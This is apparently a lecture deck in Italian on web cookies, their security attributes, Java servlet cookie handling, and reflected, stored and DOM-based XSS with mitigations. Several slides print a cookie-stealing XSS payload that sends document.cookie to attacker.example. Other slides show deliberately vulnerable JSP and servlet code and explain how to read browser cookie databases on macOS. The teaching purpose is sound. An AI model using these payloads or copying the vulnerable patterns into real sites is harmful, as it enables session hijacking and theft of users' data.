Gestione dei cookie, attacchi XSS, session Fixation

Pasquale Ardimento, 2025

Sicurezza nelle Applicazioni

Obiettivi della presentazione

- Definire i cookie e il loro uso nelle web app Java
- Mostrare vulnerabilità comuni (XSS, cookie non protetti, session fixation)
- Fornire esempi pratici di codice vulnerabile e mitigazioni (HttpOnly, Secure, SameSite, HMAC, cifratura)

Definizione e usi dei Cookie

- **Cos’è un cookie**
  - coppia nome=valore inviata dal server tramite *Set-Cookie* e memorizzata dal browser; il browser la rimanda al server nelle richieste successive come header Cookie.
- **Scopi tipici:**
  - gestione sessione (*es. JSESSIONID*)
  - funzionalità "remember me"
  - preferenze utente
  - tracciamento e analitica

Tipi di Cookie

- *Session cookie*
  - ***Durata**: sessione di un browser*
    - finestra d'attacco più corta (più sicuro se il browser viene chiuso). Sono il tipo raccomandato per l'identificazione di sessione (es. JSESSIONID).
  - **Cancellazione**: : il browser li cancella alla chiusura di tutte le finestre e processi di quel browser
- *Persistent cookie:*
  - **Durata**: durata fino a quando non scadono Expires/Max-Age
    - rimangono sul disco e possono essere riusati da un attaccante per periodi più lunghi se compromessi (maggiore rischio di esfiltrazione o fixation persistente).
  - **Cancellazione**: in modo **silente e automatico, di solito**
    - al momento in cui un cookie dovrebbe essere inviato in una richiesta HTTP, il browser verifica la scadenza e, se è scaduto, non lo invia e lo rimuove.
    - alcuni browser periodicamente "ripuliscono" il database dei cookie scaduti anche in background.

Un cookie è persistente se e solo se l'header Set-Cookie contiene almeno uno tra Expires o Max-Age.

Esempio di Cookie persistente: Expires

Set-Cookie: rememberMeToken=abc123;

Expires=Wed, 15 Jan 2026 21:47:38 GMT;

Path=/;

Secure;

HttpOnly;

SameSite=Lax

Interpretazione

- Il cookie scade **il 15 gennaio 2026, alle 21:47:38 GMT**.
- Fino a quella data il browser lo memorizza su disco e lo invia al server.
- Dopo quella data viene cancellato automaticamente.

Nota bene:

Il cookie mostrato non è codice eseguibile, ma un *header HTTP* (Set-Cookie) inviato dal server. Viene generato dal codice lato server e il browser lo interpreta per creare o aggiornare il cookie.

Esempio di Cookie persistente: MaxAge

Set-Cookie: authToken=xyz789;

Max-Age=3600;

Path=/;

Secure;

HttpOnly;

SameSite=Strict

Interpretazione

- Il cookie vale per **3600 secondi = 1 ora** dal momento in cui il browser lo riceve.
  - Dopo 1 ora il browser lo elimina.

Esempio di Cookie persistente: Expires e MaxAge

Set-Cookie: lang=it;

Expires=Fri, 01 Jan 2038 00:00:00 GMT;

Max-Age=86400;

Path=/;

SameSite=Lax

Interpretazione

- Il cookie rimane valido **solo per 24 ore** (86400 secondi),
- anche se Expires indica una data nel 2038.
- I browser moderni danno **priorità a Max-Age**.

Expires e MaxAge: perché esistono entrambi?

1. Semantica diversa

- **Expires** data assoluta (timezone-dipendente)
- **Max-Age** durata relativa (più preciso e prevedibile)

2. Motivazione storica

- Expires è più vecchio (anni ’90), supportato da tutti i browser antichi.
- Max-Age è introdotto dallo standard moderno (RFC 6265).

3. Compatibilità

- Browser moderni usano **Max-Age come valore principale**
- Browser vecchi ignorano Max-Age e usano **Expires**

1. Perché HTTP è *stateless*

- Ogni richiesta HTTP è indipendente: quando il browser chiede /home, il server **non si ricorda** automaticamente di chi lo ha chiamato prima.
- I cookie servono a **mantenere uno stato** tra richieste successive: permettono al server di riconoscere lo stesso client tra più richieste.

2. Casi d'uso principali (perché passare dati)

- **Session management / autenticazione**: il server assegna un session id (es. JSESSIONID) e il browser lo rimanda automaticamente: così il server sa chi è il richiedente.
- **"Remember me" / persistenti**: token che mantengono l'utente loggato anche dopo la chiusura del browser.
- **Preferenze utente**: lingua, tema, layout (piccole preferenze conservate lato client).
- **Carrello e transazioni**: identificare visita / carrello temporaneo prima del login.
- **testing e personalizzazione**: sapere quale variante mostrare a quel client.
- **Tracciamento/analitica**: identificatori anonimi per conteggio visite (attenzione alla privacy/regole).

3. Perché cookie (e non altre strade)?

- **invio automatico dal browser:** il browser aggiunge i Cookie alle richieste in base a dominio/path. Non serve codice esplicito per ogni richiesta. Questo rende semplice il session management.
- **Controllo di scoping (domain/path):** il cookie viene inviato solo alle risorse per cui è valido.
  - **Scoping** = regole che dicono *a quali richieste il browser deve includere un cookie*. Queste regole si basano su **Domain** (dominio / sottodomini) e **Path** (prefisso di percorso URL). Se la richiesta non soddisfa entrambi i vincoli, il cookie **non** viene inviato.
- **Attributi di sicurezza:** *HttpOnly*, *Secure*, *SameSite*, *Expires/Max-Age* danno controllo su accessibilità, trasporto e durata.
- **Compatibilità**: funzionano con qualsiasi request HTTP (pagine, immagini, XHR/fetch) in modo prevedibile.

Attributi principali (impatto comportamento & sicurezza)

- **Domain / Path** definiscono l'ambito (a quali host/percorsi il cookie viene inviato).
- **Expires** (HTTP-date) o **Max-Age** (secondi) → definiscono la durata; Max-Age ha priorità su Expires.
- **Secure** il browser invia il cookie **solo su connessioni HTTPS**.
- **HttpOnly** il cookie **non è accessibile da JavaScript** (document.cookie), riducendo il rischio XSS-based cookie-theft.
- **SameSite** controllo invio in contesti cross-site: Strict / Lax / None (se None → **deve** essere Secure).
- **Prefissi speciali**: __Host- e __Secure- (regole restrittive per ridurre rischio di abuso).
- **Limiti pratici:** cookie ~4KB ciascuno, e numero massimo per dominio/browser; non usare i cookie per memorizzare dati lunghi o segreti in chiaro.

Attributo SameSite: i valori

- **SameSite=Strict**
  - cookie **inviato solo** se la richiesta proviene **dallo stesso sito** (stesso dominio).
  - Non viene mai incluso in richieste cross-site (ad esempio da un link, un form o un'immagine incorporata da un altro dominio).
  - Massima protezione contro attacchi **CSRF**, ma può interrompere funzionalità che richiedono autenticazione tra domini.
- **SameSite=Lax**
  - **Non** invia il cookie in richieste cross-site *non interattive* (es. immagini, script, iframe).
  - **Sì** lo invia invece in richieste di **navigazione top-level con metodo "sicuro"** (GET senza side-effect), ad esempio cliccando un link che porta al sito.
  - valore **predefinito** in molti browser. Buon compromesso tra sicurezza e usabilità.
- **SameSite=None**
  - Il cookie **può essere inviato in contesti cross-site senza restrizioni**.
  - Obbligatorio se si vuole che il cookie sia usato da applicazioni embeddate (es. SSO, servizi di terze parti, iframe).
  - quando si usa *SameSite=None* si deve impostare *Secure* → il cookie viaggia solo su HTTPS.

SameSite: cos’è e perché esiste

- SameSite determina quando il browser invia i cookie in presenza di richieste cross-site.
- Protegge contro attacchi CSRF e governa il comportamento dei cookie in embed, SSO e risorse remote.
- Valori disponibili:
  - Strict – Massima protezione.
  - Lax – Default moderno, compromesso sicurezza/usabilità.
  - None – Necessario per contesti embed (richiede Secure).

Stessa origine vs Origine diversa

- Same-site = stessa origine (protocollo + dominio + porta identici).
- Cross-site = la richiesta proviene da un dominio diverso.

Esempi:

- tuosito.com → tuosito.com → Same-site ✓
- facebook.com → tuosito.com → Cross-site ✕
- img su altro-sito.com che punta a tuosito.com/avatar → Cross-site ✕

SameSite = Strict (scenario completo)

Il cookie viene inviato SOLO se la richiesta nasce dentro lo stesso sito.

- ✓ Navigazione interna: da tuosito.com/page si clicca su tuosito.com/dashboard
- ✕ Link da altri siti: navigazione su una pagina di facebook.com e click su un link tuosito.com/login
  - Richiesta cross-site perché il contesto attivo è facebook.com, non tuosito.com.
  - se il cookie di tuosito.com ha: SameSite=Strictallora il cookie **NON verrà inviato**.

Uso: massima protezione CSRF, pannelli admin, aree sensibili.

Pagina corrente: tuosito.com

- Clic interno: richiesta same-site COOKIE INVIATO ✓
- Clic da altro sito: cross-site COOKIE BLOCCATO ✗
- Form POST da altro dominio: COOKIE BLOCCATO ✗
- Iframe / img / script inclusi da esterni: COOKIE BLOCCATO ✗

SameSite = Lax (scenario completo)

Invia il cookie solo in due casi:

- 1. Navigazione same-site ✓
- 2. Clic GET top-level da un altro sito ✓

NON invia il cookie in:

- ✗ Form POST cross-site
- ✗ Immagini/script/iframe cross-site

Uso: comportamento predefinito moderno, buon compromesso.

Esempi: SameSite=Lax

Pagina corrente: facebook.com → utente clicca link → tuosito.com

- È un GET top-level → COOKIE INVIATO ✓

- facebook.com → form POST → tuosito.com
- Richiesta cross-site non-safe → COOKIE BLOCCATO ✗

- iframe / img / script da siti esterni → COOKIE BLOCCATO ✗

SameSite = None (scenario completo)

Il cookie viene SEMPRE inviato, anche in richieste cross-site.

- ✓ iframe inclusi da altri siti
- ✓ POST da altri domini
- ✓ script / immagini / embed

Uso: Single Sign-On, widget, applicazioni embed.

Obbligo: deve comparire anche Secure (solo HTTPS)

SameSite: confronto finale

Strict

- Cookie inviato solo same-site
- Protezione CSRF massima

Lax

- Cookie inviato same-site + click GET top-level
- Default moderno, equilibrato

None

- Cookie sempre inviato
- Necessario per SSO / iframe
- Richiede Secure

Creazione dei cookie

- **Creazione lato server:** il server invia l'header HTTP Set-Cookie nella risposta; il browser crea il cookie secondo gli attributi ricevuti.
- **Creazione lato client:** JavaScript può creare/aggiornare cookie con document.cookie (ma non può impostare HttpOnly).

Esempio header:

```
Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600
```

Esempio Java (Servlet):

```
Cookie c = new Cookie("sessionId", token);
c.setHttpOnly(true); c.setSecure(true);
response.addCookie(c);
```

Esempio JavaScript (client):

```
document.cookie = "theme=dark; Path=/; Max-Age=86400";
```

- **Regole di scope:** Domain e Path determinano quando il browser invia il cookie al server.

Dove e come i cookie vengono memorizzati

- **Memorizzazione nel browser:** il browser mantiene uno store dei cookie (per profilo/utente).
  - Un cookie può essere in **memoria** (session cookie) o **persistente su disco** (persistent cookie con Expires/Max-Age).
- **Accessibilità:** i cookie sono accessibili dal browser (DevTools → Application / Storage → Cookies) a meno che non siano HttpOnly.
- **Formato/limiti:** ogni cookie è una stringa (nome=valore);
  - **tipicamente** ~4KB per cookie e un numero limitato di cookie per dominio (varia per browser).
- **Persistenza fisica (esempi):** i browser salvano i cookie nel profilo utente (spesso in un DB locale; es. formato SQLite o storage proprietario);

Accesso e lettura di un file persistente su macOS

- I browser salvano i cookie persistenti su disco in file SQLite nella Library dell'utente.
- Individuare il profilo del browser (es. chrome://version/).
- Aprire il file dei cookie tramite SQLite.

Percorsi tipici:

- Chrome: ~/Library/Application Support/Google/Chrome/<Profile>/Cookies
- Firefox: ~/Library/Application Support/Firefox/Profiles/<profile>/cookies.sqlite

Query utili:

- SELECT host_key, name, value, expires_utc FROM cookies;
- SELECT datetime(expires_utc/1000000 - 11644473600, 'unixepoch') AS expires;

Nota

- su Chrome i cookie sono criptati e richiedono il Keychain per essere letti in chiaro.
- macOS può richiedere Full Disk Access per leggere i file.

Keychain del macOS

- La **Keychain** (in italiano *Portachiavi*) è il **sistema di gestione delle credenziali di macOS**.
  È una componente integrata del sistema operativo che serve a:
  - salvare **password**
  - salvare **chiavi di crittografia**
  - memorizzare **certificati**
  - memorizzare **token di applicazioni**
  - salvare **password delle reti Wi-Fi**
  - proteggere **segreti delle app** (come Chrome Safe Storage)

È uno dei motivi per cui i Mac sono considerati sicuri nella gestione delle credenziali.

Tipi di file relativi ai cookie nel profilo Chrome

File	Contenuto	Cookie Web?
Cookies	Cookie dei siti web (database SQLite)	✅ Sì
Extension Cookies	Cookie interni alle estensioni	❌ No
Safe Browsing Cookies	Cookie di sicurezza usati da Google	❌ No
Preferences	Impostazioni del profilo Chrome	❌ No

Dove e come i cookie vengono memorizzati

- **Inoltro automatico:** il browser invia automaticamente i cookie (header Cookie) per ogni richiesta che rispetta Domain/Path/SameSite → attenzione a esfiltrazione e privacy.
- **Server-side:** il server **non** memorizza automaticamente il cookie: riceve Cookie header e può scegliere come mappare/validare il valore (es.: lookup token → session store DB).
- **Rimozione/eviction:** i cookie con Max-Age=0 o Expires passato vengono cancellati; i browser possono eliminare cookie quando si supera la quota (LRU/eviction).

Accesso alla *DevTools* di *Google Chrome*

- Esecuzione su *Console* del seguente codice javascript

```
const cookies = document.cookie.split('; ').filter(Boolean).map(s => {
  const [name, ...rest] = s.split('=');
  const value = rest.join('=');
  let decoded;
  try { decoded = decodeURIComponent(value); } catch(e) { decoded = value; }
  return { name, value, decoded };
});
console.table(cookies);
```

Esito di document.cookie

- document.cookie mostra solo i cookie NON HttpOnly.
- I cookie HttpOnly sono invisibili a JavaScript per proteggere la sessione da attacchi XSS.
- Siti come Google, Amazon e Facebook usano cookie HttpOnly → la console può risultare vuota.
- Altri siti impostano cookie accessibili via JavaScript (tracking, advertising, preferenze) → document.cookie mostra valori.

Java Servlet — creare cookie sicuro

```java
// Creare cookie sicuro in Servlet
Cookie c = new Cookie("sessionId", token);
// -> il 'name' e il 'value' del cookie; 'token' dovrebbe essere un valore imprevedibile (es. secure random / UUID / token firmato)

// Limita il percorso per cui il cookie viene inviato (riduce scope)
c.setPath("/");               // solo richieste verso il path "/" e sottopercorsi invieranno il cookie

// Protegge dall'accesso via JavaScript (mitiga furto cookie da XSS)
c.setHttpOnly(true);          // impedisce che document.cookie legga o scriva questo cookie

// Garantisce invio solo su canale cifrato (HTTPS) - evita intercettazioni su reti non protette
c.setSecure(true);            // il browser invia il cookie solo su connessioni HTTPS

// Imposta durata (in secondi): qui 1 ora - preferire TTL brevi per ridurre blast radius
c.setMaxAge(60 * 60);        // 3600 secondi = 1 ora; se omesso si crea un session cookie (scade alla chiusura del browser)

// Aggiunge il cookie alla risposta (API standard)
response.addCookie(c);

// ---------------------------------------------------------------
// Nota: alcuni container (versioni antecedenti a Servlet 4.0) non espongono un setter SameSite.
// Per impostare SameSite (consigliato) si può aggiungere l'header Set-Cookie manualmente:
String sameSiteHeader = String.format(
    "sessionId=%s; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=%d",
    token, 60 * 60
);
// "Lax" è un buon compromesso per cookie di sessione (previene molte richieste cross-site indesiderate).
// Se il cookie è usato in flussi cross-site (es. SSO) potrebbe servire SameSite=None (in questo caso Require Secure).
response.addHeader("Set-Cookie", sameSiteHeader);

```

Java servlet: suggerimenti

- Genera 'token' usando SecureRandom o libreria di token firmati (es. JWT con firma server-side).
- Considerare di firmare (HMAC) o cifrare il valore del cookie per evitare *tampering*: store-> value|sig.
  - Tampering: manipolazione malevola del cookie. Esempi: crescita del proprio ruolo, aggirare un controllo di pagamento,…
  - Utile quando nel cookie ci sono altri dati oltre a quelli della sessione; l'ID della sessione dovrebbe essere già protetto (opaco)
- Non memorizzare password o dati sensibili in chiaro nel cookie;
  - memorizzare solo un riferimento (session id) e tenere lo stato sensibile sul server-side.
- Al login: invalidare la sessione precedente e creare una nuova sessione/token (prevenzione session fixation).
- Valutare binding opzionali (user-agent, IP parziale) e controlli di rinnovo/rotazione del token.

Cifratura del cookie: dal server al browser

```
String value = "nomeCookie";
String secretKey = "chiave-segreta"; // solo il server la conosce

// Calcola firma HMAC(value, secretKey)
String sig = HMAC_SHA256(value, secretKey);

// Esempio di Header HTTP con firma
Set-Cookie: session=value|sig; HttpOnly; Secure;
SameSite=Strict
```

Cifratura del cookie: controllo del server del cookie ricevuto

```
// Browser rimanda: "session=value|sig"
String[] parts = cookie.split("|");
String value = parts[0];
String sig   = parts[1];

// Ricalcola firma attesa
String expectedSig = HMAC_SHA256(value, secretKey);

// Confronta
if (sig.equals(expectedSig)) {
   // Cookie integro → uso il valore
   autentica(value);
} else {
   // Cookie manomesso → lo scarto
   reject();
}
```

Token: Definizione e generazione sicura

Un **token** è una stringa univoca e difficile da indovinare che il server usa per riconoscere una sessione o un'identità senza dover richiedere username/password ad ogni richiesta.

- contiene un riferimento o dati firmati che il server può verificare.

```
// SecureRandom + Base64 URL-safe
byte[] b = new byte[32];
new SecureRandom().nextBytes(b); //popola con numeri casuali l'array b
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(b);

// 256 bit significa che ci sono 2^256 possibili valori diversi
```

Token: Definizione e generazione sicura

Cosa comporta usare i token per la generazione del session id? Comporta che il session id è:

- **opaco** perché non contiene dati leggibili.
- **chiaro** nel senso che se si aprono gli strumenti del browser, si può vedere la stringa (es. a3F9...).
- Non è segreto dal punto di vista della **leggibilità**: chiunque abbia accesso al cookie può copiarlo.
- Ma è sicuro perché è **imprevedibile**: un attaccante non può indovinare o generare da sé un valore valido.

I cookie, e quindi anche l'id della sessione contenuto in essi**, non possono essere cifrati perché il browser li deve leggere in chiaro. I cookie, quindi, vanno protetti dal furto.**

Attacchi XSS per sottrarre cookie e altro…

Cross-Site Scripting (XSS) . Vulnerabilità web per cui un attaccante riesce a iniettare ed eseguire codice client-side (tipicamente JavaScript) nel contesto di sicurezza di una pagina web legittima, permettendo l'esfiltrazione di dati sensibili, il furto di credenziali o l'esecuzione di azioni a nome dell'utente.

Prerequisito: L'app ha una vulnerabilità XSS (Cross-Site Scripting), input non sanificato.

Attacchi XSS: Modalità di consegna del payload

- **Reflected XSS**
  - il payload viene passato nella richiesta (es. parametro URL o form) e riflesso immediatamente nella risposta.
  - Per sfruttarlo l'attaccante deve convincere o indurre la vittima a visitare un URL creato ad hoc (link in email, chat, o pagine malevole).
- **Stored XSS**
  - il payload viene salvato sul server (es. commento, profilo utente) e viene servito a tutti i visitatori della risorsa.
  - In questo caso l'attaccante non deve convincere singolarmente le vittime: qualsiasi utente che visita la pagina potenzialmente esegue il payload.
- **DOM-based XSS**
  - il rischio nasce quando il codice client manipola il DOM con dati non sanitizzati (es. location, hash, postMessage).
  - La consegna può avvenire tramite URL, input locale o contenuti terzi; non sempre è richiesta una "convincimento" esterno: spesso il payload viene eseguito automaticamente quando la pagina carica o elabora determinati dati.

Sviluppatore: crea una pagina jsp vulnerabile

```
<!-- vulnerable.jsp -->
<% String name = request.getParameter("name"); %>
<html>
 <body>
  <h1>Benvenuto, <%= name %>!</h1>  <!-- PROBLEMA: output non escapato -->
 </body>
</html>
```

Attacante (XSS Reflected): invia link

- Un attaccante spesso invia la stringa URL-encoded:
  ?name=%3Cscript%3E…%3C%2Fscript%3E
  il server o il container web decodificano la query e request.getParameter("name") restituisce la stringa con i caratteri < >; quindi l'output resta vulnerabile se non escapato.
- Non serve una POST: qualunque input che il server riflette nell'HTML (GET, POST, header, path) può portare a XSS.

Utente: Scenario di attacco

Se un utente visita https://vulnerabile.example/vulnerable.jsp?name=<script>/*payload*/</script>

1. Il browser invia una richiesta HTTP GET al server con query string name=<script>/*payload*/</script> (i caratteri speciali possono essere URL-encoded come %3Cscript%3E… ma il browser/HTTP li trasmette e il server li riceve).
2. Il server esegue la pagina JSP *vulnerable.jsp*. Nel codice JSP c'è questa riga vulnerabile:
   - <h1>Benvenuto, <%= name %>!</h1>

   dove name è request.getParameter("name"). Qui il valore viene **inserito direttamente** nell'HTML generato, senza alcuna escape.
3. Il server restituisce al browser il documento HTML **già costruito**, che contiene il tag <script>/*payload*/</script> come parte del corpo HTML.

4. Il browser riceve l'HTML e lo *parsa*: trova il tag <script> nel DOM e **esegue** immediatamente il JavaScript contenuto nel tag.
5. Poiché lo script è stato servito dallo stesso dominio (vulnerabile.example), il browser lo considera **same-origin**: il codice malevolo viene eseguito con gli stessi privilegi del sito (può leggere/modificare il DOM, inviare richieste in background, leggere cookie *se non* HttpOnly, ecc.).
   - lo <script> viene eseguito *nel contesto della pagina*: il browser non distingue tra script legittimo e script iniettato.

Esempio di Reflected XSS (innocuo):

name = <script>alert('XSS')</script>

Esempio di Reflected XSS (non innocuo):

?name=<script>new Image().src='https://attacker.example/collect?c='+encodeURIComponent(document.cookie)</script>

Perché è pericoloso?

- Eseguendo nel contesto della pagina, il payload malevolo può:
  - leggere document.cookie e inviarlo fuori: furto di sessione **se il cookie non è HttpOnly**;
  - leggere/modificare il DOM (es. cambiare contenuti, ingannare l'utente);
  - effettuare richieste AJAX a nome dell'utente (azioni autorizzate dal browser);
  - caricare risorse esterne per esfiltrare dati;
  - eseguire qualsiasi codice JS con i permessi dell'origin (stesso dominio).

Attacco Stored XSS

- Lo *Stored XSS* si verifica quando:
  - l'applicazione **salva** dati forniti dall'utente (es. commenti, profili, forum) in un archivio persistente (DB, file, ecc.) **senza rimuovere il codice malevolo**, e poi mostra quei dati a molti utenti senza escape.
  - Ogni visita alla pagina esegue il payload nello stesso origin del sito: persistente e molto pericoloso.

Attacco Stored XSS...

- L’attaccante invia (POST) un commento contenente codice JavaScript malevolo (payload) a POST /comments.
- L’app salva **esattamente** quel testo nel database (campo comment_text) senza sanificarlo.
- Quando un utente visita la pagina che mostra i commenti, il server legge comment_text e lo inserisce **raw** nell’HTML di risposta
  - (es. <%= rs.getString("comment_text"); %> senza escaping).

...Attacco Stored XSS

- Il browser dei visitatori interpreta l'HTML ricevuto e quindi esegue lo <script> in pagina (viene eseguito nello *stesso contesto d'origine* della applicazione).
- Lo script malevolo eseguito nel browser può leggere document.cookie (ma **solo** i cookie non marcati HttpOnly) e inviare quel valore al server controllato dall'attaccante (es. tramite new Image().src=... o fetch()), oppure compiere altre azioni a nome dell'utente.
- L'attaccante riceve la richiesta verso il suo server con la cookie/table esfiltrata nella query o nel body e può tentare di usarla per hijack (se è un session id, ecc.).

Attacco Stored XSS
Richiesta HTTP POST inviata dall'attaccante (raw)

POST /comments HTTP/1.1

Host: vulnerabile.example

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

user=attacker&comment=%3Cscript%3Enew%20Image().src%3D%22https%3A%2F%2Fattacker.example%2Fsteal%3Fc%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E

Attacco Stored XSS
Codice Java (Servlet) vulnerabile che salva il commento (esempio)

```java
// CommentServlet.java (vulnerabile – NON usare in produzione)
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String user = req.getParameter("user");
    String comment = req.getParameter("comment"); // ATTENZIONE: non sanitizzato

    try (Connection conn = dataSource.getConnection()) {
        PreparedStatement ps = conn.prepareStatement(
            "INSERT INTO comments(username, comment_text, created_at) VALUES (?, ?, NOW())"
        );
        ps.setString(1, user);
        ps.setString(2, comment); // salva esattamente il payload fornito dall'attaccante
        ps.executeUpdate();
    } catch (SQLException e) {
        throw new ServletException(e);
    }

    resp.sendRedirect("/comments");
}
```

Attacco Stored XSS
Memorizzazione nel Database

Tabella `comments` (id, username, comment_text, created_at):

id	username	comment_text (raw)	created_at
42	attacker	`<script>new Image().src="https://attacker.example/steal?c="+encodeURIComponent(document.cookie);</script>`	2025-09-28 11:02:03

(il payload è memorizzato letteralmente nella colonna `comment_text`.)

Attacco Stored XSS
JSP che recupera i commenti e li rende (vulnerabile)

```jsp
<%-- comments.jsp (vulnerable) --%>
<%
  List<Comment> comments = commentDao.findAll(); // pseudocodice
%>
<html>
  <body>
    <h2>Commenti</h2>
    <ul>
      <% for (Comment c : comments) { %>
        <li><%= c.getUsername() %>: <%= c.getCommentText() %></li>
      <% } %>
    </ul>
  </body>
</html>
```

Attacco Stored XSS
HTML restituito al browser (per l'utente che visita /comments)

Il browser esegue immediatamente il tag <script> perché è parte del DOM servito dallo stesso dominio (vulnerabile.example).

```
1  <html>
2    <body>
3      <h2>Commenti</h2>
4      <ul>
5        <li>attacker: <script>new Image().src="https://attacker.example/steal?c="+encodeURIComponent(document.cookie);</script></li>
6        <!-- altri commenti -->
7      </ul>
8    </body>
9  </html>
```

Attacco Stored XSS
Conseguenze dell’attacco

- Il payload JavaScript presente nei commenti esegue document.cookie (può leggere solo i cookie **non** marcati HttpOnly) e invia il valore a https://attacker.example/steal.
- L’attaccante riceve la stringa del cookie (es. JSESSIONID=...) e può **tentare** di impersonare l’utente se quel valore rappresenta una sessione valida.
- Poiché il payload è **persistente** nel DB, **ogni** visitatore che carica la pagina compromessa è esposto allo stesso rischio.

Attacco Stored XSS
Considerazioni

- **Cosa legge document.cookie:** restituisce solo i cookie non marcati HttpOnly. I cookie HttpOnly non sono accessibili da JavaScript, quindi non possono essere letti ed esfiltrati con document.cookie.
- **Come avviene l'esfiltrazione:** lo script costruisce una richiesta verso il dominio dell'attaccante (es. new Image().src = 'https://attacker.example/steal?c=' + encodeURIComponent(document.cookie)); il server attaccante riceve la query con il valore del cookie.
- **Quando l'attaccante può davvero "impersonare":** ottenere il valore del cookie non garantisce automaticamente l'accesso, dipende da come l'app tratta quell'identificatore (se il cookie è session id non protetto e la sessione è attiva, l'attaccante può riutilizzarlo). Misure come binding a IP, user-agent, breve TTL, e invalidazione sul logout riducono il rischio.

c:out effettua HTML-escaping (trasforma < in < ecc.) → il payload non verrà eseguito ma mostrato come testo.

c:out **è una *JSTL tag* (un tag di libreria per JSP)** che serve per *stampare* valori nel JSP **con escaping XML/HTML** (di default). Dietro le quinte il container traduce il JSP in servlet Java, quindi alla fine diventa codice Java, ma tu lo scrivi come tag nella pagina JSP.

```
1  <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
2  ...
3  <li>
4    <c:out value="${c.username}" />: <c:out value="${c.commentText}" />
5  </li>
```

Usare Safelist.none() per permettere SOLO testo, oppure basic()/basicWithImages() per whitelist di elementi sicuri.

```
1 import org.jsoup.Jsoup;
2 import org.jsoup.safety.Safelist;
3
4 String dirtyHtml = commentFromDb;
5 String safeHtml = Jsoup.clean(dirtyHtml, Safelist.basic()); // consente solo <b>,<i>,<a>,...
6 out.print(safeHtml);
```

Attacco Stored XSS
Uso OWASP Java HTML Sanitizer

- Sanitizers.FORMATTING consente solo tag di formattazione base; Sanitizers.LINKS pulisce e normalizza gli <a> (bloccando javascript:).
- La sanitizzazione è utile **solo** se si vuole *permettere un sottoinsieme di HTML* (es. commenti con grassetto/link). Se non ti serve HTML, è meglio **fare l'escape** completo (Encode.forHtml(...)).
- Non applicare una singola misura: combina sanitizer + HttpOnly per cookie + CSP e escaping contestuale dove necessario.

```
1  import org.owasp.html.PolicyFactory;
2  import org.owasp.html.Sanitizers;
3
4  PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
5  String safe = policy.sanitize(dirtyHtml);
6  out.print(safe);
```

Attacco Stored XSS
Impostare Content-Security-Policy header

- CSP, policy che il server invia al browser (di solito come **header HTTP),** se ben configurata blocca molti script iniettati, specialmente da domini esterni, e limita inline script se non autorizzati
  - CSP è un set di direttive che il server invia al browser (di solito via header Content-Security-Policy) per dire “quali origini / tipi di risorse sono consentiti per questa pagina”. Il browser applica queste regole e **blocca** il caricamento o l’esecuzione delle risorse non consentite.
  - CSP è una policy **per documento**: il browser calcola e applica la policy quando carica una pagina. Se non riceve l’header per quella response, non applicherà la policy per quel documento

```
1 response.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none';");
```

Codice java per mitigare il rischio di attacchi Stored XSS

```
-- trovare record che contengono tag <script> o attributi event-handler o URI javascript:
SELECT id, username, comment_text     -- colonne utili per l'analisi (id per riferimento, username per contesto)
FROM comments                         -- tabella che contiene i commenti (potrebbe cambiare in base al tuo schema)
WHERE comment_text LIKE '%<script%'   -- cerca il tag "<script" (attenzione: case-sensitive in alcuni DB)
  OR comment_text LIKE '%onerror=%'   -- cerca attributi tipo onerror= (tipici in immagini malevole)
  OR comment_text LIKE '%javascript:%'; -- cerca URI tipo "javascript:" (usato per payload in link)
```

DOM Based XSS

- È una vulnerabilità **lato client**: il codice malevolo viene eseguito **nel browser** dell'utente, non necessariamente sul server.
- Succede quando uno script nella pagina prende dati **dal contesto client** (ad es. location.hash, location.search, document.referrer, input dell'utente) e li **inserisce nel DOM** usando funzioni insicure come innerHTML, document.write, eval, o impostando attributi evento (elem.setAttribute('onclick', ...)) **senza sanificarli**.
- In questo caso il payload (JavaScript malevolo) viene eseguito **interamente nel browser**: il server può anche non sapere nulla (non "riflette" il payload).

DOM Based XSS: ruolo sviluppatore

- Crea la pagina web (HTML + JavaScript). Se lo sviluppatore scrive codice client che prende dati non trusted (es. location.hash, location.search, document.referrer, localStorage, postMessage) e li inserisce nel DOM con sink insicuri (innerHTML, document.write, eval, insertAdjacentHTML), la pagina è **vulnerabile**.
- *Esempio:* lo sviluppatore mette nello script document.getElementById('out').innerHTML = location.hash.substring(1);.

DOM Based XSS: ruolo attaccante

- Non ha bisogno di “prendere il server” per fare DOM-based XSS. L’attaccante **crea il payload** (tipicamente JavaScript) e lo posiziona in modo che il browser della vittima lo fornisca alla pagina vulnerabile. Modi tipici:
- costruisce un **link** con payload nel fragment (#…) o nella query (?…) e lo manda alla vittima (phishing, messaggi, forum, social);
- sfrutta una **pagina esterna** che include la pagina vulnerabile in un iframe o un referrer manipolato;
- usa un **annuncio malevolo** (malvertising) o una terza-parte compromessa che fornisce dati al client;
- (in altri tipi di XSS) invia dati che vengono **salvati** dal server (commenti, profili) — ma questo è Stored XSS, non DOM-only.
  L’attaccante inoltre mette online un server per **ricevere/esfiltrare** i dati (es. https://attacker.example/steal).

DOM Based XSS: ruolo utente

- È l'utente finale che apre il link o visita la pagina vulnerabile. Il suo browser esegue il codice iniettato *nel contesto del sito vulnerabile* (same-origin), quindi il payload opera con i privilegi di quel sito (può leggere DOM, inviare richieste, accedere a cookie non-HttpOnly).

DOM Based XSS: scenario completo

1. Lo sviluppatore pubblica una pagina con JavaScript vulnerabile (es.: legge location.hash/location.search e usa innerHTML senza sanitizzare).
2. L'attaccante costruisce un link contenente il payload nel fragment o nella query (es.: .../page.html#<script>...</script>).
3. L'attaccante invia il link alla vittima (phishing, chat, post, ecc.).
4. La vittima clicca il link e il browser carica la pagina vulnerabile con il payload nel location.
5. Il codice client legge il valore non trusted (es. location.hash) e lo inserisce nel DOM tramite un sink pericoloso (innerHTML, document.write, insertAdjacentHTML, ecc.).
6. Il browser interpreta ed esegue il payload JavaScript *nel contesto del sito* (same-origin).
7. Il payload compie le azioni desiderate dall'attaccante (es.: leggere document.cookie se non HttpOnly, esfiltrare dati a un server remoto, modificare il DOM, inviare richieste a nome dell'utente).
